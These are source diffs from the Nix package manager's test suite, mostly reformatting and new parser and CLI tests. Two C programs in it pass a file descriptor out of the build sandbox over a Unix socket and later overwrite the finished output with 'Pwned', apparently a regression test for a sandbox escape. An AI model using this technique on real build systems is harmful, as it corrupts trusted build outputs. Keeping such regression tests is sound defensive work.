"1979-05-27T07:32:00"; }; ldt10 = { _type = "timestamp"; value = "1979-05-27T00:32:00.123456789"; }; ldt11 = { _type = "timestamp"; value = "1979-05-27T00:32:00.123456789"; }; ldt2 = { _type = "timestamp"; value = "1979-05-27T07:32:00.100"; }; ldt3 = { _type = "timestamp"; value = "1979-05-27T07:32:00.120"; }; ldt4 = { _type = "timestamp"; value = "1979-05-27T07:32:00.123"; }; ldt5 = { _type = "timestamp"; value = "1979-05-27T00:32:00.123400"; }; ldt6 = { _type = "timestamp"; value = "1979-05-27T00:32:00.123450"; }; ldt7 = { _type = "timestamp"; value = "1979-05-27T00:32:00.123456"; }; ldt8 = { _type = "timestamp"; value = "1979-05-27T00:32:00.123456700"; }; ldt9 = { _type = "timestamp"; value = "1979-05-27T00:32:00.123456780"; }; lt1 = { _type = "timestamp"; value = "07:32:00"; }; lt10 = { _type = "timestamp"; value = "00:32:00.123456789"; }; lt11 = { _type = "timestamp"; value = "00:32:00.123456789"; }; lt2 = { _type = "timestamp"; value = "00:32:00.100"; }; lt3 = { _type = "timestamp"; value = "00:32:00.120"; }; lt4 = { _type = "timestamp"; value = "00:32:00.123"; }; lt5 = { _type = "timestamp"; value = "00:32:00.123400"; }; lt6 = { _type = "timestamp"; value = "00:32:00.123450"; }; lt7 = { _type = "timestamp"; value = "00:32:00.123456"; }; lt8 = { _type = "timestamp"; value = "00:32:00.123456700"; }; lt9 = { _type = "timestamp"; value = "00:32:00.123456780"; }; name = "Orange"; oct1 = 342391; oct2 = 493; odt1 = { _type = "timestamp"; value = "1979-05-27T07:32:00Z"; }; odt10 = { _type = "timestamp"; value = "1979-05-27T07:32:00.123456Z"; }; odt11 = { _type = "timestamp"; value = "1979-05-27T07:32:00.123456700Z"; }; odt12 = { _type = "timestamp"; value = "1979-05-27T07:32:00.123456780Z"; }; odt13 = { _type = "timestamp"; value = "1979-05-27T07:32:00.123456789Z"; }; odt14 = { _type = "timestamp"; value = "1979-05-27T07:32:00.123456789Z"; }; odt2 = { _type = "timestamp"; value = "1979-05-27T00:32:00-07:00"; }; odt3 = { _type = "timestamp"; value = "1979-05-27T00:32:00.999999-07:00"; }; odt4 = { _type = "timestamp"; value = "1979-05-27T07:32:00Z"; }; odt5 = { _type = "timestamp"; value = "1979-05-27T07:32:00.100Z"; }; odt6 = { _type = "timestamp"; value = "1979-05-27T07:32:00.120Z"; }; odt7 = { _type = "timestamp"; value = "1979-05-27T07:32:00.123Z"; }; odt8 = { _type = "timestamp"; value = "1979-05-27T07:32:00.123400Z"; }; odt9 = { _type = "timestamp"; value = "1979-05-27T07:32:00.123450Z"; }; physical = { color = "orange"; shape = "round"; }; products = [ { name = "Hammer"; sku = 738594937; } { } { color = "gray"; name = "Nail"; sku = 284758393; } ]; "quoted \"value\"" = "value"; site = { "google.com" = true; }; str = "I'm a string. \"You can quote me\". Name\tJosé\nLocation\tSF."; table-1 = { key1 = "some string"; key2 = 123; }; table-2 = { key1 = "another string"; key2 = 456; }; x = { y = { z = { w = { animal = { type = { name = "pug"; }; }; name = { first = "Tom"; last = "Preston-Werner"; }; point = { x = 1; y = 2; }; }; }; }; }; "ʎǝʞ" = "value"; }

View file

@ -55,11 +55,53 @@ builtins.fromTOML ''
odt2 = 1979-05-27T00:32:00-07:00
odt3 = 1979-05-27T00:32:00.999999-07:00
odt4 = 1979-05-27 07:32:00Z
# milliseconds
odt5 = 1979-05-27 07:32:00.1Z
odt6 = 1979-05-27 07:32:00.12Z
odt7 = 1979-05-27 07:32:00.123Z
# microseconds
odt8 = 1979-05-27t07:32:00.1234Z
odt9 = 1979-05-27t07:32:00.12345Z
odt10 = 1979-05-27t07:32:00.123456Z
# nanoseconds
odt11 = 1979-05-27 07:32:00.1234567Z
odt12 = 1979-05-27 07:32:00.12345678Z
odt13 = 1979-05-27 07:32:00.123456789Z
# no more precision after nanoseconds
odt14 = 1979-05-27t07:32:00.1234567891Z
ldt1 = 1979-05-27T07:32:00
ldt2 = 1979-05-27T00:32:00.999999
# milliseconds
ldt2 = 1979-05-27T07:32:00.1
ldt3 = 1979-05-27T07:32:00.12
ldt4 = 1979-05-27T07:32:00.123
# microseconds
ldt5 = 1979-05-27t00:32:00.1234
ldt6 = 1979-05-27t00:32:00.12345
ldt7 = 1979-05-27t00:32:00.123456
# nanoseconds
ldt8 = 1979-05-27 00:32:00.1234567
ldt9 = 1979-05-27 00:32:00.12345678
ldt10 = 1979-05-27 00:32:00.123456789
# no more precision after nanoseconds
ldt11 = 1979-05-27t00:32:00.1234567891
ld1 = 1979-05-27
lt1 = 07:32:00
lt2 = 00:32:00.999999
# milliseconds
lt2 = 00:32:00.1
lt3 = 00:32:00.12
lt4 = 00:32:00.123
# microseconds
lt5 = 00:32:00.1234
lt6 = 00:32:00.12345
lt7 = 00:32:00.123456
# nanoseconds
lt8 = 00:32:00.1234567
lt9 = 00:32:00.12345678
lt10 = 00:32:00.123456789
# no more precision after nanoseconds
lt11 = 00:32:00.1234567891
arr1 = [ 1, 2, 3 ]
arr2 = [ "red", "yellow", "green" ]

View file

@ -6,7 +6,8 @@ let
scopedImport = attrs: fn: scopedImport (overrides // attrs) fn;
builtins = builtins // overrides;
} // import ./lib.nix;
}
// import ./lib.nix;
in
scopedImport overrides ./imported.nix

View file

@ -0,0 +1 @@
{ a }: a

View file

@ -1,7 +1,7 @@
suites += {
'name': 'local-overlay-store',
'deps': [],
'tests': [
'name' : 'local-overlay-store',
'deps' : [],
'tests' : [
'check-post-init.sh',
'redundant-add.sh',
'build.sh',
@ -14,5 +14,5 @@ suites += {
'optimise.sh',
'stale-file-handle.sh',
],
'workdir': meson.current_source_dir(),
'workdir' : meson.current_source_dir(),
}

View file

@ -1,7 +1,8 @@
project('nix-functional-tests',
project(
'nix-functional-tests',
version : files('.version'),
default_options : [
'cpp_std=c++2a',
'cpp_std=c++23',
# TODO(Qyriad): increase the warning level
'warning_level=1',
'errorlogs=true', # Please print logs for tests that fail
@ -23,14 +24,16 @@ dot = find_program('dot', native : true, required : false)
nix_bin_dir = fs.parent(nix.full_path())
subdir('nix-meson-build-support/default-system-cpu')
test_confdata = {
'bindir': nix_bin_dir,
'coreutils': fs.parent(coreutils.full_path()),
'dot': dot.found() ? dot.full_path() : '',
'bash': bash.full_path(),
'sandbox_shell': busybox.found() ? busybox.full_path() : '',
'PACKAGE_VERSION': meson.project_version(),
'system': host_machine.cpu_family() + '-' + host_machine.system(),
'bindir' : nix_bin_dir,
'coreutils' : fs.parent(coreutils.full_path()),
'dot' : dot.found() ? dot.full_path() : '',
'bash' : bash.full_path(),
'sandbox_shell' : busybox.found() ? busybox.full_path() : '',
'PACKAGE_VERSION' : meson.project_version(),
'system' : nix_system_cpu + '-' + host_machine.system(),
}
# Just configures `common/vars-and-functions.sh.in`.
@ -46,8 +49,8 @@ configure_file(
suites = [
{
'name' : 'main',
'deps': [],
'tests': [
'deps' : [],
'tests' : [
'test-infra.sh',
'gc.sh',
'nix-collect-garbage-d.sh',
@ -110,6 +113,8 @@ suites = [
'impure-eval.sh',
'pure-eval.sh',
'eval.sh',
'short-path-literals.sh',
'no-url-literals.sh',
'repl.sh',
'binary-cache-build-remote.sh',
'search.sh',
@ -145,6 +150,7 @@ suites = [
'placeholders.sh',
'ssh-relay.sh',
'build.sh',
'build-cores.sh',
'build-delete.sh',
'output-normalization.sh',
'selfref-gc.sh',
@ -169,7 +175,7 @@ suites = [
'help.sh',
'symlinks.sh',
],
'workdir': meson.current_source_dir(),
'workdir' : meson.current_source_dir(),
},
]
@ -178,14 +184,14 @@ if nix_store.found()
add_languages('cpp')
subdir('test-libstoreconsumer')
suites += {
'name': 'libstoreconsumer',
'deps': [
'name' : 'libstoreconsumer',
'deps' : [
libstoreconsumer_tester,
],
'tests': [
'tests' : [
'test-libstoreconsumer.sh',
],
'workdir': meson.current_source_dir(),
'workdir' : meson.current_source_dir(),
}
endif
@ -196,26 +202,39 @@ if nix_expr.found() and get_option('default_library') != 'static'
add_languages('cpp')
subdir('plugins')
suites += {
'name': 'plugins',
'deps': [
'name' : 'plugins',
'deps' : [
libplugintest,
],
'tests': [
'tests' : [
'plugins.sh',
],
'workdir': meson.current_source_dir(),
'workdir' : meson.current_source_dir(),
}
endif
subdir('ca')
subdir('dyn-drv')
subdir('flakes')
subdir('git')
subdir('git-hashing')
subdir('local-overlay-store')
foreach suite : suites
workdir = suite['workdir']
suite_name = suite['name']
# This is workaround until [1] is resolved. When building in a devshell
# as a subproject we want the tests to depend on the nix build target, so
# that it gets automatically rebuilt.
# However, when the functional test suite is built separately (via componentized
# builds or in NixOS tests) we can't depend on the nix executable, since it's
# an external program. The following is a simple heuristic that suffices for now.
# [1]: https://github.com/mesonbuild/meson/issues/13877
deps = suite['deps']
if meson.is_subproject()
nix_subproject = subproject('nix')
deps += [ nix ] + nix_subproject.get_variable('nix_symlinks_targets')
endif
foreach script : suite['tests']
# Turns, e.g., `tests/functional/flakes/show.sh` into a Meson test target called
# `functional-flakes-show`.
@ -224,27 +243,28 @@ foreach suite : suites
test(
name,
bash,
args: [
args : [
'-x',
'-e',
'-u',
'-o', 'pipefail',
'-o',
'pipefail',
script,
],
suite : suite_name,
env : {
'_NIX_TEST_SOURCE_DIR': meson.current_source_dir(),
'_NIX_TEST_BUILD_DIR': meson.current_build_dir(),
'TEST_NAME': suite_name / name,
'NIX_REMOTE': '',
'PS4': '+(${BASH_SOURCE[0]-$0}:$LINENO) ',
'_NIX_TEST_SOURCE_DIR' : meson.current_source_dir(),
'_NIX_TEST_BUILD_DIR' : meson.current_build_dir(),
'TEST_NAME' : suite_name / name,
'NIX_REMOTE' : '',
'PS4' : '+(${BASH_SOURCE[0]-$0}:$LINENO) ',
},
# Some tests take 15+ seconds even on an otherwise idle machine;
# on a loaded machine this can easily drive them to failure. Give
# them more time than the default of 30 seconds.
timeout : 300,
# Used for target dependency/ordering tracking, not adding compiler flags or anything.
depends : suite['deps'],
depends : deps,
workdir : workdir,
)
endforeach

View file

@ -44,3 +44,7 @@ out="$(expectStderr 0 nix-instantiate --option foobar baz --expr '{}')"
out="$(expectStderr 0 nix-instantiate '{}' --option foobar baz --expr )"
[[ "$(echo "$out" | grep foobar | wc -l)" = 1 ]]
if [[ $(uname) = Linux && $(uname -m) = i686 ]]; then
[[ $(nix config show system) = i686-linux ]]
fi

View file

@ -6,32 +6,31 @@ mkDerivation {
name = "nested-sandboxing";
busybox = builtins.getEnv "busybox";
EXTRA_SANDBOX = builtins.getEnv "EXTRA_SANDBOX";
buildCommand =
''
set -x
set -eu -o pipefail
''
+ (
if altitude == 0 then
''
echo Deep enough! > $out
''
else
''
cp -r ${../common} ./common
cp ${../common.sh} ./common.sh
cp ${../config.nix} ./config.nix
cp -r ${./.} ./nested-sandboxing
buildCommand = ''
set -x
set -eu -o pipefail
''
+ (
if altitude == 0 then
''
echo Deep enough! > $out
''
else
''
cp -r ${../common} ./common
cp ${../common.sh} ./common.sh
cp ${../config.nix} ./config.nix
cp -r ${./.} ./nested-sandboxing
export PATH=${builtins.getEnv "NIX_BIN_DIR"}:$PATH
export PATH=${builtins.getEnv "NIX_BIN_DIR"}:$PATH
export _NIX_TEST_SOURCE_DIR=$PWD
export _NIX_TEST_BUILD_DIR=$PWD
export _NIX_TEST_SOURCE_DIR=$PWD
export _NIX_TEST_BUILD_DIR=$PWD
source common.sh
source ./nested-sandboxing/command.sh
source common.sh
source ./nested-sandboxing/command.sh
runNixBuild ${storeFun} ${toString altitude} >> $out
''
);
runNixBuild ${storeFun} ${toString altitude} >> $out
''
);
}

View file

@ -0,0 +1 @@
../../nix-meson-build-support

View file

@ -0,0 +1,28 @@
#!/usr/bin/env bash
source common.sh
clearStoreIfPossible
# Test 1: By default, unquoted URLs are accepted
nix eval --expr 'http://example.com' 2>&1 | grepQuietInverse "error: URL literals are disabled"
# Test 2: With the experimental feature enabled, unquoted URLs are rejected
expect 1 nix eval --extra-experimental-features 'no-url-literals' --expr 'http://example.com' 2>&1 | grepQuiet "error: URL literals are disabled"
# Test 3: Quoted URLs are always accepted
nix eval --extra-experimental-features 'no-url-literals' --expr '"http://example.com"' 2>&1 | grepQuietInverse "error: URL literals are disabled"
# Test 4: URLs with parameters (which must be quoted) are accepted
nix eval --extra-experimental-features 'no-url-literals' --expr '"http://example.com?foo=bar"' 2>&1 | grepQuietInverse "error: URL literals are disabled"
# Test 5: The feature can be enabled via NIX_CONFIG
expect 1 env NIX_CONFIG='extra-experimental-features = no-url-literals' nix eval --expr 'http://example.com' 2>&1 | grepQuiet "error: URL literals are disabled"
# Test 6: The feature can be enabled via CLI even if not set in config
expect 1 env NIX_CONFIG='' nix eval --extra-experimental-features 'no-url-literals' --expr 'http://example.com' 2>&1 | grepQuiet "error: URL literals are disabled"
# Test 7: Evaluation still works for quoted URLs
nix eval --raw --extra-experimental-features no-url-literals --expr '"http://example.com"' | grepQuiet "^http://example.com$"
echo "no-url-literals test passed!"

View file

@ -39,6 +39,7 @@ mkMesonDerivation (
workDir = ./.;
fileset = fileset.unions [
../../nix-meson-build-support
../../scripts/nix-profile.sh.in
../../.version
../../tests/functional
@ -46,26 +47,25 @@ mkMesonDerivation (
];
# Hack for sake of the dev shell
passthru.externalNativeBuildInputs =
[
meson
ninja
pkg-config
passthru.externalNativeBuildInputs = [
meson
ninja
pkg-config
jq
git
mercurial
unixtools.script
]
++ lib.optionals stdenv.hostPlatform.isLinux [
# For various sandboxing tests that needs a statically-linked shell,
# etc.
busybox-sandbox-shell
# For Overlay FS tests need `mount`, `umount`, and `unshare`.
# For `script` command (ensuring a TTY)
# TODO use `unixtools` to be precise over which executables instead?
util-linux
];
jq
git
mercurial
unixtools.script
]
++ lib.optionals stdenv.hostPlatform.isLinux [
# For various sandboxing tests that needs a statically-linked shell,
# etc.
busybox-sandbox-shell
# For Overlay FS tests need `mount`, `umount`, and `unshare`.
# For `script` command (ensuring a TTY)
# TODO use `unixtools` to be precise over which executables instead?
util-linux
];
nativeBuildInputs = finalAttrs.passthru.externalNativeBuildInputs ++ [
nix-cli

View file

@ -3,7 +3,6 @@ libplugintest = shared_module(
'plugintest.cc',
dependencies : [
dependency('nix-expr'),
# hack for trailing newline
],
build_by_default : false,
)

View file

@ -5,15 +5,14 @@ using namespace nix;
struct MySettings : Config
{
Setting<bool> settingSet{this, false, "setting-set",
"Whether the plugin-defined setting was set"};
Setting<bool> settingSet{this, false, "setting-set", "Whether the plugin-defined setting was set"};
};
MySettings mySettings;
static GlobalConfig::Register rs(&mySettings);
static void prim_anotherNull (EvalState & state, const PosIdx pos, Value ** args, Value & v)
static void prim_anotherNull(EvalState & state, const PosIdx pos, Value ** args, Value & v)
{
if (mySettings.settingSet)
v.mkNull();

View file

@ -42,7 +42,8 @@ chmod -R -w $TEST_ROOT/var
# Make sure we fail on add operations on the read-only store
# This is only for adding files that are not *already* in the store
expectStderr 1 nix-store --add eval.nix | grepQuiet "error: opening lock file '$(readlink -e $TEST_ROOT)/var/nix/db/big-lock'"
# Should show enhanced error message with helpful context
expectStderr 1 nix-store --add eval.nix | grepQuiet "This command may have been run as non-root in a single-user Nix installation"
expectStderr 1 nix-store --store local?read-only=true --add eval.nix | grepQuiet "Permission denied"
# Test the same operations from before should again succeed

View file

@ -34,11 +34,13 @@ nix shell -f shell-hello.nix hello -c env > "$TEST_ROOT/actual-env"
# - we unset TMPDIR on macOS if it contains /var/folders
# - _ is set by bash and is expectedf to differ because it contains the original command
# - __CF_USER_TEXT_ENCODING is set by macOS and is beyond our control
# - __LLVM_PROFILE_RT_INIT_ONCE - implementation detail of LLVM source code coverage collection
sed -i \
-e 's/PATH=.*/PATH=.../' \
-e 's/_=.*/_=.../' \
-e '/^TMPDIR=\/var\/folders\/.*/d' \
-e '/^__CF_USER_TEXT_ENCODING=.*$/d' \
-e '/^__LLVM_PROFILE_RT_INIT_ONCE=.*$/d' \
"$TEST_ROOT/expected-env" "$TEST_ROOT/actual-env"
sort "$TEST_ROOT/expected-env" > "$TEST_ROOT/expected-env.sorted"
sort "$TEST_ROOT/actual-env" > "$TEST_ROOT/actual-env.sorted"

View file

@ -0,0 +1,55 @@
#!/usr/bin/env bash
source common.sh
clearStoreIfPossible
# Test 1: Without the setting (default), no warnings should be produced
nix eval --expr 'test/subdir' 2>"$TEST_ROOT"/stderr
grepQuietInverse < "$TEST_ROOT/stderr" -E "relative path|path literal" || fail "Should not produce warnings by default"
# Test 2: With the setting enabled, warnings should be produced for short path literals
nix eval --warn-short-path-literals --expr 'test/subdir' 2>"$TEST_ROOT"/stderr
grepQuiet "relative path literal 'test/subdir' should be prefixed with '.' for clarity: './test/subdir'" "$TEST_ROOT/stderr"
# Test 3: Different short path literals should all produce warnings
nix eval --warn-short-path-literals --expr 'foo/bar' 2>"$TEST_ROOT"/stderr
grepQuiet "relative path literal 'foo/bar' should be prefixed with '.' for clarity: './foo/bar'" "$TEST_ROOT/stderr"
nix eval --warn-short-path-literals --expr 'a/b/c/d' 2>"$TEST_ROOT"/stderr
grepQuiet "relative path literal 'a/b/c/d' should be prefixed with '.' for clarity: './a/b/c/d'" "$TEST_ROOT/stderr"
# Test 4: Paths starting with ./ should NOT produce warnings
nix eval --warn-short-path-literals --expr './test/subdir' 2>"$TEST_ROOT"/stderr
grepQuietInverse "relative path literal" "$TEST_ROOT/stderr"
# Test 5: Paths starting with ../ should NOT produce warnings
nix eval --warn-short-path-literals --expr '../test/subdir' 2>"$TEST_ROOT"/stderr
grepQuietInverse "relative path literal" "$TEST_ROOT/stderr"
# Test 6: Absolute paths should NOT produce warnings
nix eval --warn-short-path-literals --expr '/absolute/path' 2>"$TEST_ROOT"/stderr
grepQuietInverse "relative path literal" "$TEST_ROOT/stderr"
# Test 7: Test that the warning is at the correct position
nix eval --warn-short-path-literals --expr 'foo/bar' 2>"$TEST_ROOT"/stderr
grepQuiet "at «string»:1:1:" "$TEST_ROOT/stderr"
# Test 8: Test that evaluation still works correctly despite the warning
result=$(nix eval --warn-short-path-literals --expr 'test/subdir' 2>/dev/null)
expected="$PWD/test/subdir"
[[ "$result" == "$expected" ]] || fail "Evaluation result should be correct despite warning"
# Test 9: Test with nix-instantiate as well
nix-instantiate --warn-short-path-literals --eval -E 'foo/bar' 2>"$TEST_ROOT"/stderr
grepQuiet "relative path literal 'foo/bar' should be prefixed" "$TEST_ROOT/stderr"
# Test 10: Test that the setting can be set via configuration
NIX_CONFIG='warn-short-path-literals = true' nix eval --expr 'test/file' 2>"$TEST_ROOT"/stderr
grepQuiet "relative path literal 'test/file' should be prefixed" "$TEST_ROOT/stderr"
# Test 11: Test that command line flag overrides config
NIX_CONFIG='warn-short-path-literals = true' nix eval --no-warn-short-path-literals --expr 'test/file' 2>"$TEST_ROOT"/stderr
grepQuietInverse "relative path literal" "$TEST_ROOT/stderr"
echo "short-path-literals test passed!"

View file

@ -2,12 +2,67 @@
source common.sh
# Different versions of the Nix daemon normalize or don't normalize
# store URLs, plus NIX_REMOTE (per the test suite) might not be using on
# store URL in normal form, so the easiest thing to do is normalize URLs
# after the fact before comparing them for equality.
normalize_nix_store_url () {
local url="$1"
case "$url" in
'auto' )
# Need to actually ask Nix in this case
echo "$defaultStore"
;;
local | 'local://' )
echo 'local'
;;
daemon | 'unix://' )
echo 'daemon'
;;
'local://'* )
# To not be captured by next pattern
echo "$url"
;;
'local?'* )
echo "local://${url#local}"
;;
'daemon?'* )
echo "unix://${url#daemon}"
;;
* )
echo "$url"
;;
esac
}
STORE_INFO=$(nix store info 2>&1)
LEGACY_STORE_INFO=$(nix store ping 2>&1) # alias to nix store info
STORE_INFO_JSON=$(nix store info --json)
echo "$STORE_INFO" | grep "Store URL: ${NIX_REMOTE}"
echo "$LEGACY_STORE_INFO" | grep "Store URL: ${NIX_REMOTE}"
defaultStore="$(normalize_nix_store_url "$(echo "$STORE_INFO_JSON" | jq -r ".url")")"
# Test cases for `normalize_nix_store_url` itself
# Normalize local store
[[ "$(normalize_nix_store_url "local://")" = "local" ]]
[[ "$(normalize_nix_store_url "local")" = "local" ]]
[[ "$(normalize_nix_store_url "local?foo=bar")" = "local://?foo=bar" ]]
# Normalize unix domain socket remote store
[[ "$(normalize_nix_store_url "unix://")" = "daemon" ]]
[[ "$(normalize_nix_store_url "daemon")" = "daemon" ]]
[[ "$(normalize_nix_store_url "daemon?x=y")" = "unix://?x=y" ]]
# otherwise unchanged
[[ "$(normalize_nix_store_url "https://site")" = "https://site" ]]
nixRemoteOrDefault=$(normalize_nix_store_url "${NIX_REMOTE:-"auto"}")
check_human_readable () {
[[ "$(normalize_nix_store_url "$(echo "$1" | grep 'Store URL:' | sed 's^Store URL: ^^')")" = "${nixRemoteOrDefault}" ]]
}
check_human_readable "$STORE_INFO"
check_human_readable "$LEGACY_STORE_INFO"
if [[ -v NIX_DAEMON_PACKAGE ]] && isDaemonNewer "2.7.0pre20220126"; then
DAEMON_VERSION=$("$NIX_DAEMON_PACKAGE"/bin/nix daemon --version | cut -d' ' -f3)
@ -21,4 +76,4 @@ expect 127 NIX_REMOTE=unix:"$PWD"/store nix store info || \
TODO_NixOS
[[ "$(echo "$STORE_INFO_JSON" | jq -r ".url")" == "${NIX_REMOTE:-local}" ]]
[[ "$(normalize_nix_store_url "$(echo "$STORE_INFO_JSON" | jq -r ".url")")" == "${nixRemoteOrDefault}" ]]

View file

@ -5,7 +5,7 @@
using namespace nix;
int main (int argc, char **argv)
int main(int argc, char ** argv)
{
try {
if (argc != 2) {
@ -21,12 +21,8 @@ int main (int argc, char **argv)
// build the derivation
std::vector<DerivedPath> paths {
DerivedPath::Built {
.drvPath = makeConstantStorePathRef(store->parseStorePath(drvPath)),
.outputs = OutputsSpec::Names{"out"}
}
};
std::vector<DerivedPath> paths{DerivedPath::Built{
.drvPath = makeConstantStorePathRef(store->parseStorePath(drvPath)), .outputs = OutputsSpec::Names{"out"}}};
const auto results = store->buildPathsWithResults(paths, bmNormal, store);

View file

@ -3,7 +3,6 @@ libstoreconsumer_tester = executable(
'main.cc',
dependencies : [
dependency('nix-store'),
# hack for trailing newline
],
build_by_default : false,
)

View file

@ -84,7 +84,7 @@
su --login mallory -c '
nix-store --generate-binary-cache-key cache1.example.org sk1 pk1
(! nix store sign --key-file sk1 ${pathFour} 2>&1)' | tee diag 1>&2
grep -F "cannot open connection to remote store 'daemon'" diag
grep -F "cannot open connection to remote store 'unix://'" diag
""")
machine.succeed("""

View file

@ -9,7 +9,8 @@
#include <string.h>
#include <assert.h>
int main(int argc, char **argv) {
int main(int argc, char ** argv)
{
assert(argc == 2);
@ -25,12 +26,12 @@ int main(int argc, char **argv) {
// executed in, just busyloop here.
int res = -1;
while (res < 0) {
res = connect(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(argv[1])
+ 1);
if (res < 0 && errno != ECONNREFUSED) perror("connect");
if (errno != ECONNREFUSED) break;
res = connect(
sock, (const struct sockaddr *) &data, offsetof(struct sockaddr_un, sun_path) + strlen(argv[1]) + 1);
if (res < 0 && errno != ECONNREFUSED)
perror("connect");
if (errno != ECONNREFUSED)
break;
}
// Write our message header.
@ -39,27 +40,28 @@ int main(int argc, char **argv) {
msg.msg_controllen = 128;
// Write an SCM_RIGHTS message containing the output path.
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
struct cmsghdr * hdr = CMSG_FIRSTHDR(&msg);
hdr->cmsg_len = CMSG_LEN(sizeof(int));
hdr->cmsg_level = SOL_SOCKET;
hdr->cmsg_type = SCM_RIGHTS;
int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
memcpy(CMSG_DATA(hdr), (void *) &fd, sizeof(int));
msg.msg_controllen = CMSG_SPACE(sizeof(int));
// Write a single null byte too.
msg.msg_iov = (struct iovec*) malloc(sizeof(struct iovec));
msg.msg_iov[0].iov_base = (void*) "";
msg.msg_iov = (struct iovec *) malloc(sizeof(struct iovec));
msg.msg_iov[0].iov_base = (void *) "";
msg.msg_iov[0].iov_len = 1;
msg.msg_iovlen = 1;
// Send it to the othher side of this connection.
res = sendmsg(sock, &msg, 0);
if (res < 0) perror("sendmsg");
if (res < 0)
perror("sendmsg");
int buf;
// Wait for the server to close the socket, implying that it has
// received the commmand.
recv(sock, (void *)&buf, sizeof(int), 0);
recv(sock, (void *) &buf, sizeof(int), 0);
}

View file

@ -7,7 +7,8 @@
#include <assert.h>
#include <string.h>
int main(int argc, char **argv) {
int main(int argc, char ** argv)
{
assert(argc == 2);
@ -18,21 +19,21 @@ int main(int argc, char **argv) {
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strncpy(data.sun_path + 1, argv[1], sizeof(data.sun_path) - 1);
int res = bind(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(argv[1])
+ 1);
if (res < 0) perror("bind");
int res = bind(sock, (const struct sockaddr *) &data, offsetof(struct sockaddr_un, sun_path) + strlen(argv[1]) + 1);
if (res < 0)
perror("bind");
res = listen(sock, 1);
if (res < 0) perror("listen");
if (res < 0)
perror("listen");
int smuggling_fd = -1;
// Accept the connection a first time to receive the file descriptor.
fprintf(stderr, "%s\n", "Waiting for the first connection");
int a = accept(sock, 0, 0);
if (a < 0) perror("accept");
if (a < 0)
perror("accept");
struct msghdr msg = {0};
msg.msg_control = malloc(128);
@ -41,13 +42,12 @@ int main(int argc, char **argv) {
// Receive the file descriptor as sent by the smuggler.
recvmsg(a, &msg, 0);
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
struct cmsghdr * hdr = CMSG_FIRSTHDR(&msg);
while (hdr) {
if (hdr->cmsg_level == SOL_SOCKET
&& hdr->cmsg_type == SCM_RIGHTS) {
if (hdr->cmsg_level == SOL_SOCKET && hdr->cmsg_type == SCM_RIGHTS) {
// Grab the copy of the file descriptor.
memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
memcpy((void *) &smuggling_fd, CMSG_DATA(hdr), sizeof(int));
}
hdr = CMSG_NXTHDR(&msg, hdr);
@ -58,11 +58,14 @@ int main(int argc, char **argv) {
// Wait for a second connection, which will tell us that the build is
// done
a = accept(sock, 0, 0);
if (a < 0) perror("accept");
if (a < 0)
perror("accept");
fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
// Write a new content to the file
if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
if (ftruncate(smuggling_fd, 0))
perror("ftruncate");
const char * new_content = "Pwned\n";
int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
if (written_bytes != strlen(new_content)) perror("write");
if (written_bytes != strlen(new_content))
perror("write");
}

View file

@ -1,7 +1,8 @@
{
lib,
pkgs,
nixComponents,
nixpkgs,
nixpkgsFor,
nixpkgs-23-11,
}:
@ -19,27 +20,28 @@ let
);
# https://nixos.org/manual/nixos/unstable/index.html#sec-calling-nixos-tests
runNixOSTestFor =
system: test:
runNixOSTest =
test:
(nixos-lib.runTest {
imports = [
test
];
hostPkgs = nixpkgsFor.${system}.native;
hostPkgs = pkgs;
defaults = {
nixpkgs.pkgs = nixpkgsFor.${system}.native;
nixpkgs.pkgs = pkgs;
nix.checkAllErrors = false;
# TODO: decide which packaging stage to use. `nix-cli` is efficient, but not the same as the user-facing `everything.nix` package (`default`). Perhaps a good compromise is `everything.nix` + `noTests` defined above?
nix.package = nixpkgsFor.${system}.native.nixComponents2.nix-cli;
nix.package = nixComponents.nix-cli;
# Evaluate VMs faster
documentation.enable = false;
# this links against nix and might break with our git version.
system.tools.nixos-option.enable = false;
};
_module.args.nixComponents = nixComponents;
_module.args.nixpkgs = nixpkgs;
_module.args.system = system;
_module.args.system = pkgs.system;
})
// {
# allow running tests against older nix versions via `nix eval --apply`
@ -47,13 +49,13 @@ let
# nix build "$(nix eval --raw --impure .#hydraJobs.tests.fetch-git --apply 't: (t.forNix "2.19.2").drvPath')^*"
forNix =
nixVersion:
runNixOSTestFor system {
runNixOSTest {
imports = [ test ];
defaults.nixpkgs.overlays = [
(curr: prev: {
nix =
let
packages = (builtins.getFlake "nix/${nixVersion}").packages.${system};
packages = (builtins.getFlake "nix/${nixVersion}").packages.${pkgs.system};
in
packages.nix-cli or packages.nix;
})
@ -77,7 +79,15 @@ let
{ lib, pkgs, ... }:
{
imports = [ checkOverrideNixVersion ];
nix.package = lib.mkForce pkgs.nixVersions.nix_2_3;
nix.package = lib.mkForce (
pkgs.nixVersions.nix_2_3.overrideAttrs (o: {
meta = o.meta // {
# This version shouldn't be used by end-users, but we run tests against
# it to ensure we don't break protocol compatibility.
knownVulnerabilities = [ ];
};
})
);
};
otherNixes.nix_2_13.setNixPackage =
@ -88,6 +98,8 @@ let
nixpkgs-23-11.legacyPackages.${pkgs.stdenv.hostPlatform.system}.nixVersions.nix_2_13.overrideAttrs
(o: {
meta = o.meta // {
# This version shouldn't be used by end-users, but we run tests against
# it to ensure we don't break protocol compatibility.
knownVulnerabilities = [ ];
};
})
@ -97,18 +109,18 @@ let
in
{
authorization = runNixOSTestFor "x86_64-linux" ./authorization.nix;
authorization = runNixOSTest ./authorization.nix;
remoteBuilds = runNixOSTestFor "x86_64-linux" ./remote-builds.nix;
remoteBuilds = runNixOSTest ./remote-builds.nix;
remoteBuildsSshNg = runNixOSTestFor "x86_64-linux" ./remote-builds-ssh-ng.nix;
remoteBuildsSshNg = runNixOSTest ./remote-builds-ssh-ng.nix;
}
// lib.concatMapAttrs (
nixVersion:
{ setNixPackage, ... }:
{
"remoteBuilds_remote_${nixVersion}" = runNixOSTestFor "x86_64-linux" {
"remoteBuilds_remote_${nixVersion}" = runNixOSTest {
name = "remoteBuilds_remote_${nixVersion}";
